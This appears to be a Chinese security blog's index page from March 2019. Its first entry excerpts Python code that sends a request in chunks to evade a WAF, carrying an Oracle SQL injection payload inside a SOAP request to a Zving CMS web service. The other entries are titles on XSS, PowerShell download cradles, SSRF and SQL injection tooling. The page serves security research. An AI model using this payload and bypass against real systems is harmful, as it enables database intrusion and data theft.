March 15, 2019
分块传输绕过 WAF <!–more–> 基本信息 import requests from io import BytesIO def read_in_chunks(file_object, chunk_size=3): while True: data = file_object.read(chunk_size) if not data: break yield data data = r”’<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservice.cms.zving.com"> <soapenv:Header/> <soapenv:Body> <web:addCatalog> <web:in0>2</web:in0> <web:in1>{sql}</web:in1> <web:in2>1</web:in2> <web:in3>1</web:in3> </web:addCatalog> </soapenv:Body> </soapenv:Envelope>”’ sql = r"’ or dbms_aw_xml.readawmetadata((select rawtohex(banner) from v$version where rownum=1), null) is null–" data = BytesIO(data.format(sql=sql)) […]
March 15, 2019
Burp Scanner DOM-based XSS issue
March 14, 2019
Download Cradles 是什么? (Powershell/Malware)
March 13, 2019
The Hacker Playbook 3: Cyber Space Kittens
March 12, 2019
搭建 AutoSQLi 与 sqlmapapi 的简易使用
March 12, 2019
vimeo 从 SSRF 到潜在代码执行报告阅读笔记